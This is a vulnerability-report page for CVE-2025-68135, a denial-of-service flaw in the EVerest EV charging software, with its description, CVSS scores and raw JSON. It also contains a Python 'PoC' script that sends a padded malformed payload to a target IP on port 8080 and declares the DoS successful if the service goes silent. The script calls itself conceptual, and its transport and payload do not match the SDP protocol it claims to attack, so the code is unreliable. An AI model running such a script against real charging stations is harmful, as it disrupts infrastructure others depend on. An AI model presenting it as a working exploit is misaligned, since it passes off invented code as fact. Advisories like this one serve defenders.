Security Vulnerability Report
中文
CVE-2025-68135 CVSS 6.5 MEDIUM

CVE-2025-68135

Published: 2026-01-21 19:16:05
Last Modified: 2026-02-06 21:21:46

Description

EVerest is an EV charging software stack. Prior to version 2025.10.0, C++ exceptions are not properly handled for and by the `TbdController` loop, leading to its caller and itself to silently terminates. Thus, this leads to a denial of service as it is responsible of SDP and ISO15118-20 servers. Version 2025.10.0 fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest everest-core < 2025.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68135 PoC - EVerest TbdController DoS Note: This is a conceptual PoC. Actual exploitation requires: 1. Network access to the EV charging station (AV:A) 2. Understanding of SDP/ISO15118-20 protocol implementation 3. Crafting messages that trigger C++ exceptions in TbdController This PoC demonstrates the attack concept for educational purposes only. """ import socket import struct import time def create_malformed_sdp_message(): """ Create a malformed SDP message to trigger exception in TbdController SDP ServiceDiscovery protocol message structure """ # SDP message header msg_type = 0x01 # Service Request transaction_id = 0x1234 # Craft malformed payload that may trigger C++ exception # (e.g., null pointer dereference, buffer overflow, type confusion) malformed_payload = b'\x00' * 1000 + b'\xFF\xFF\xFF\xFF' sdp_message = struct.pack('>HH', transaction_id, len(malformed_payload)) sdp_message += msg_type.to_bytes(1, 'big') sdp_message += malformed_payload return sdp_message def send_exploit(target_ip, target_port=8080): """ Send exploit payload to target EVerest charging station """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send malformed SDP message payload = create_malformed_sdp_message() sock.send(payload) print(f"[+] Malformed SDP message sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(payload)} bytes") # Wait and check if service is still responsive time.sleep(2) sock.send(b'\x00\x01') # Simple heartbeat check response = sock.recv(1024) if not response: print("[-] Target service appears to be down - DoS successful") else: print("[+] Target still responsive") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68135", "sourceIdentifier": "[email protected]", "published": "2026-01-21T19:16:04.667", "lastModified": "2026-02-06T21:21:45.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2025.10.0, C++ exceptions are not properly handled for and by the `TbdController` loop, leading to its caller and itself to silently terminates. Thus, this leads to a denial of service as it is responsible of SDP and ISO15118-20 servers. Version 2025.10.0 fixes the issue."}, {"lang": "es", "value": "EVerest es una pila de software de carga de VE. Antes de la versión 2025.10.0, las excepciones de C++ no se manejan correctamente para y por el bucle 'TbdController', lo que lleva a que su llamador y él mismo terminen silenciosamente. Por lo tanto, esto conduce a una denegación de servicio, ya que es responsable de los servidores SDP e ISO15118-20. La versión 2025.10.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.10.0", "matchCriteriaId": "94E1768A-FED9-477E-A4B7-99FD10058D23"}]}]}], "references": [{"url": "https://github.com/EVerest/everest-core/security/advisories/GHSA-g7mm-r6qp-96vh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}